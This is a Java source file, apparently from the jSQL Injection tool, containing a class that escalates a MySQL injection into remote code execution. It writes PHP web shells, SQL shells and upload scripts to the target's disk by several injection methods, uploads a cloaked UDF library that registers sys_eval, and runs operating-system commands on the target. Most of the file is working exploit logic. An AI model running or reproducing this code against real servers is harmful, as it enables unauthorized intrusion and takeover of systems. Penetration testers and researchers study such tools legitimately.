View Javadoc
1   package com.jsql.model.accessible.vendor;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ExploitMode;
6   import com.jsql.model.accessible.ResourceAccess;
7   import com.jsql.model.accessible.vendor.mysql.ModelYamlMysql;
8   import com.jsql.model.bean.database.MockElement;
9   import com.jsql.model.bean.util.Interaction;
10  import com.jsql.model.bean.util.Request;
11  import com.jsql.model.exception.JSqlException;
12  import com.jsql.model.exception.JSqlRuntimeException;
13  import com.jsql.model.injection.vendor.model.VendorYaml;
14  import com.jsql.model.suspendable.SuspendableGetRows;
15  import com.jsql.util.LogLevelUtil;
16  import com.jsql.util.StringUtil;
17  import org.apache.commons.codec.binary.Hex;
18  import org.apache.commons.lang3.RandomStringUtils;
19  import org.apache.commons.lang3.StringUtils;
20  import org.apache.logging.log4j.LogManager;
21  import org.apache.logging.log4j.Logger;
22  import org.yaml.snakeyaml.Yaml;
23  
24  import java.io.File;
25  import java.io.FileInputStream;
26  import java.io.IOException;
27  import java.io.InputStream;
28  import java.net.URI;
29  import java.net.URISyntaxException;
30  import java.net.http.HttpResponse;
31  import java.nio.charset.StandardCharsets;
32  import java.nio.file.Files;
33  import java.nio.file.Path;
34  import java.nio.file.Paths;
35  import java.nio.file.StandardCopyOption;
36  import java.util.List;
37  import java.util.Objects;
38  import java.util.UUID;
39  import java.util.function.BiPredicate;
40  import java.util.function.BinaryOperator;
41  
42  public class ExploitMysql {
43  
44      /**
45       * Log4j logger sent to view.
46       */
47      private static final Logger LOGGER = LogManager.getRootLogger();
48      public static final String NAME_TABLE = "temp";
49      private final InjectionModel injectionModel;
50      private final ModelYamlMysql modelYaml;
51  
52      private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
53          try {
54              return this.buildSysEval(nameLibraryRandom);
55          } catch (JSqlException e) {
56              throw new JSqlRuntimeException(e);
57          }
58      };
59  
60      public ExploitMysql(InjectionModel injectionModel) {
61          this.injectionModel = injectionModel;
62          var yaml = new Yaml();
63          this.modelYaml = yaml.loadAs(
64              injectionModel.getMediatorVendor().getMysql().instance().getModelYaml().getResource().getExploit(),
65              ModelYamlMysql.class
66          );
67      }
68  
69      public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
70          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
71  
72          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
73              var request = new Request();
74              request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
75              request.setParameters(urlSuccess);
76              this.injectionModel.sendToViews(request);
77              return urlSuccess;
78          };
79          return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
80      }
81  
82      public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
83          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
84              var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
85              if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
86                  var request = new Request();
87                  request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
88                  request.setParameters(urlSuccess, username, password);
89                  this.injectionModel.sendToViews(request);
90                  return urlSuccess;
91              }
92              return StringUtils.EMPTY;
93          };
94          var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
95          if (StringUtils.isEmpty(urlSuccess)) {
96              LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
97              urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
98          }
99          if (StringUtils.isEmpty(urlSuccess)) {
100             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
101             urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
102         }
103         if (StringUtils.isEmpty(urlSuccess)) {
104             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
105         }
106         return urlSuccess;
107     }
108 
109     public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
110         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
111             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
112                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
113                 if (result.body().contains(DataAccess.LEAD +"y")) {
114                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
115                 } else {
116                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
117                 }
118             } catch (InterruptedException e) {
119                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
120                 Thread.currentThread().interrupt();
121             } catch (IOException | JSqlException e) {
122                 throw new JSqlRuntimeException(e);
123             }
124             return urlSuccess;
125         };
126         this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
127     }
128 
129     /**
130      * Create shell on remote server
131      * @param urlExploit  URL for the script (used for url rewriting)
132      */
133     public String create(
134         String pathRemoteFolder,
135         String urlExploit,
136         String keyPropertyExploit,
137         String nameExploit,
138         BinaryOperator<String> biFuncGetRequest,
139         String pathNetshareFolder,
140         ExploitMode exploitMode
141     ) throws JSqlException {
142         if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
143             return null;
144         }
145 
146         String bodyExploit = StringUtil.base64Decode(
147                 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(keyPropertyExploit)
148             )
149             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
150             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
151 
152         // outfile + binary: content corruption
153         BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
154             try {
155                 String resultInjection = this.confirm(pathFolder + nameFile);
156                 return resultInjection.contains(bodyExploit);
157             } catch (JSqlException e) {
158                 throw new JSqlRuntimeException(e);
159             }
160         };
161 
162         var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
163         String nameExploitValidated = StringUtils.EMPTY;
164 
165         if (exploitMode == ExploitMode.NETSHARE) {
166             ExploitMysql.copyToShare(pathNetshareFolder + nameExploit, bodyExploit);
167             nameExploitValidated = this.byNetshare(
168                 nbIndexesFound,
169                 pathNetshareFolder,
170                 nameExploit,
171                 pathRemoteFolder,
172                 biPredConfirm
173             );
174         } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
175             nameExploitValidated = this.byQueryBody(
176                 nbIndexesFound,
177                 pathRemoteFolder,
178                 nameExploit,
179                 StringUtil.toHexChunks(bodyExploit.getBytes()),
180                 biPredConfirm
181             );
182         }
183         if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
184             var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
185             this.byTable(
186                 StringUtil.toHexChunks(bodyExploit.getBytes()),
187                 pathRemoteFolder + nameExploitRandom
188             );
189             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
190                 nameExploitValidated = nameExploitRandom;
191             }
192         }
193 
194         if (StringUtils.isEmpty(nameExploitValidated)) {
195             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
196             return null;
197         }
198         nameExploit = nameExploitValidated;
199         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
200 
201         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
202     }
203 
204     public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
205         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
206 
207         if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
208             return;
209         }
210 
211         var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
212         var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "udf#dir");
213         if (StringUtils.isEmpty(pathPlugin)) {
214             throw new JSqlException("Incorrect plugin folder: path is empty");
215         }
216 
217         var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "udf#check-os");
218         if (StringUtils.isEmpty(versionOsMachine)) {
219             throw new JSqlException("Incorrect remote machine: unknown system");
220         }
221         var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
222 
223         String nameLibrary;
224         if (versionOsMachine.contains("64")) {
225             nameLibrary = isWin ? "64.dll" : "64.so";
226         } else {
227             nameLibrary = isWin ? "32.dll" : "32.so";
228         }
229 
230         pathPlugin = pathPlugin.replace("\\", "/");
231         if (!pathPlugin.endsWith("/")) {
232             pathPlugin = String.format("%s%s", pathPlugin, "/");
233         }
234 
235         if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
236             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
237         }
238         String isSuccess = StringUtils.EMPTY;
239         if (exploitMode == ExploitMode.NETSHARE) {
240             if (!pathNetshareFolder.endsWith("\\")) {
241                 pathNetshareFolder += "\\";
242             }
243             ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary);
244             isSuccess = this.byNetshare(
245                 nbIndexesFound,
246                 pathNetshareFolder,
247                 nameLibrary,
248                 pathPlugin,
249                 this.biPredCreateUdf
250             );
251         } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
252             if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) {
253                 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size too limited for UDF with GET, in case of failure use POST instead");
254             }
255             isSuccess = this.byQueryBody(
256                 nbIndexesFound,
257                 pathPlugin,
258                 nameLibrary,
259                 ExploitMysql.toHexChunks(nameLibrary),
260                 this.biPredCreateUdf
261             );
262         }
263         if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
264             var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
265             this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
266             this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
267         }
268     }
269 
270     public String byQueryBody(
271         int nbIndexesFound,
272         String pathRemoteFolder,
273         String nameExploit,
274         List<String> hexChunks,
275         BiPredicate<String,String> biPredConfirm
276     ) {
277         String nameExploitValidated = StringUtils.EMPTY;
278         var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
279 
280         var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
281         this.injectionModel.injectWithoutIndex(String.format(pattern,
282             "union",
283             "'',".repeat(nbIndexesFound),
284             String.join(StringUtils.EMPTY, hexChunks),
285             pathRemoteFolder + nameExploitRandom
286         ), "body#union-dump");
287         if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
288             nameExploitValidated = nameExploitRandom;
289         }
290         if (StringUtils.isEmpty(nameExploitValidated)) {
291             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
292             nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
293             this.injectionModel.injectWithoutIndex(String.format(pattern,
294                 ";",
295                 StringUtils.EMPTY,
296                 String.join(StringUtils.EMPTY, hexChunks),
297                 pathRemoteFolder + nameExploitRandom
298             ), "body#stack-dump");
299             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
300                 nameExploitValidated = nameExploitRandom;
301             }
302         }
303         return nameExploitValidated;
304     }
305 
306     public String byNetshare(
307         int nbIndexesFound,
308         String pathNetshareFolder,
309         String nameExploit,
310         String pathRemoteFolder,
311         BiPredicate<String,String> biPredConfirm
312     ) {
313         String nameExploitValidated = StringUtils.EMPTY;
314         var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
315         var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
316 
317         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
318         var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
319         this.injectionModel.injectWithoutIndex(String.format(pattern,
320             "union",
321             "'',".repeat(nbIndexesFound),
322             pathShareEncoded + nameExploit,
323             pathRemoteFolder + nameExploitRandom
324         ), "udf#share-union");
325         if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
326             nameExploitValidated = nameExploitRandom;
327         }
328         if (StringUtils.isEmpty(nameExploitValidated)) {
329             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
330             nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
331             this.injectionModel.injectWithoutIndex(String.format(pattern,
332                 ";",
333                 StringUtils.EMPTY,
334                 pathShareEncoded + nameExploit,
335                 pathRemoteFolder + nameExploitRandom
336             ), "udf#share-stack");
337             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
338                 nameExploitValidated = nameExploitRandom;
339             }
340         }
341         return nameExploitValidated;
342     }
343 
344     private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
345         try {
346             URI original = Objects.requireNonNull(ExploitMysql.class.getClassLoader().getResource("udf/" + nameLibrary)).toURI();
347             Path originalPath = new File(original).toPath();
348             Path copied = Paths.get(pathNetshare + nameLibrary);
349             Files.copy(originalPath, copied, StandardCopyOption.REPLACE_EXISTING);
350         } catch (IOException | URISyntaxException e) {
351             throw new JSqlException("Copy udf into local network share failure: " + e.getMessage());
352         }
353     }
354 
355     public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
356         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
357         var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
358         if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
359             nameDatabase = "mysql";
360         }
361         var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);  // underscore required, dash not allowed
362         var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
363         this.injectionModel.injectWithoutIndex(String.format(
364             this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
365             nameSchemaTable
366         ), ResourceAccess.TBL_DROP);
367         var countResult = this.getCountTable(nameDatabase, nameTableRandom);
368         if (!"0".equals(countResult)) {
369             throw new JSqlException("Drop table failure: "+ countResult);
370         }
371         this.injectionModel.injectWithoutIndex(String.format(
372             this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
373             nameSchemaTable
374         ), ResourceAccess.TBL_CREATE);
375         countResult = this.getCountTable(nameDatabase, nameTableRandom);
376         if (!"1".equals(countResult)) {
377             throw new JSqlException("Create table failure: "+ countResult);
378         }
379         int indexChunk = 0;
380         for (String chunk: bodyHexChunks) {
381             if (indexChunk == 0) {
382                 this.injectionModel.injectWithoutIndex(String.format(
383                     this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
384                     nameSchemaTable,
385                     chunk
386                 ), "tbl#init");
387             } else {
388                 this.injectionModel.injectWithoutIndex(String.format(
389                     this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
390                     nameSchemaTable,
391                     chunk
392                 ), ResourceAccess.TBL_FILL);
393             }
394             indexChunk++;
395         }
396         this.injectionModel.injectWithoutIndex(String.format(
397             this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
398             nameSchemaTable,
399             pathRemoteFile
400         ), ResourceAccess.TBL_DUMP);
401     }
402 
403     private String getCountTable(String nameDatabase, String nameTableRandom) {
404         try {
405             return this.injectionModel.getResourceAccess().getResult(String.format(
406                 this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
407                 nameTableRandom,
408                 nameDatabase
409             ), "tbl#check");
410         } catch (JSqlException e) {
411             return e.getMessage();  // error message then logged
412         }
413     }
414 
415     private boolean buildSysEval(String nameLibrary) throws JSqlException {
416         this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#del-func");
417         this.injectionModel.injectWithoutIndex(String.format(
418             this.modelYaml.getUdf().getAddFunction().getCreate(),
419             nameLibrary
420         ), "udf#function");
421         var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
422         if (!confirm.contains("sys_eval")) {
423             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
424             return false;
425         }
426         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
427 
428         var request = new Request();
429         request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF);
430         request.setParameters(null, null);
431         this.injectionModel.sendToViews(request);
432         return true;
433     }
434 
435     private static void copyToShare(String pathFile, String bodyExploit) throws JSqlException {
436         Path path = Paths.get(pathFile);
437         try {
438             Files.write(path, bodyExploit.getBytes());
439         } catch (IOException e) {
440             throw new JSqlException(e);
441         }
442     }
443 
444     public String confirm(String path) throws JSqlException {
445         var sourcePage = new String[]{ StringUtils.EMPTY };
446         return new SuspendableGetRows(this.injectionModel).run(
447             this.modelYaml.getFile().getRead().replace(
448                 VendorYaml.FILEPATH_HEX,
449                 Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
450             ),
451             sourcePage,
452             false,
453             1,
454             MockElement.MOCK,
455             "xplt#confirm-file"
456         );
457     }
458 
459     public String runUdfCmd(String command, UUID uuidShell) {
460         String result;
461         try {
462             result = this.injectionModel.getResourceAccess().getResult(String.format(  // 0xff splits single result in many chunks => replace by space
463                 this.modelYaml.getUdf().getRunCmd(),
464                 command.replace(StringUtils.SPACE, "%20")  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
465             ), "udf#run-cmd") +"\n";
466         } catch (JSqlException e) {
467             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
468         }
469         var request = new Request();
470         request.setMessage(Interaction.GET_EXPLOIT_UDF_RESULT);
471         request.setParameters(uuidShell, result);
472         this.injectionModel.sendToViews(request);
473         return result;
474     }
475 
476     private static List<String> toHexChunks(String filename) throws JSqlException {
477         try {
478             byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
479                 ExploitMysql.class.getClassLoader().getResourceAsStream("udf/mysql/"+ filename +".cloak")
480             ).readAllBytes();
481             fileData = StringUtil.uncloak(fileData);
482             return StringUtil.toHexChunks(fileData);
483         } catch (IOException e) {
484             throw new JSqlException(e);
485         }
486     }
487 
488     public ModelYamlMysql getModelYaml() {
489         return this.modelYaml;
490     }
491 }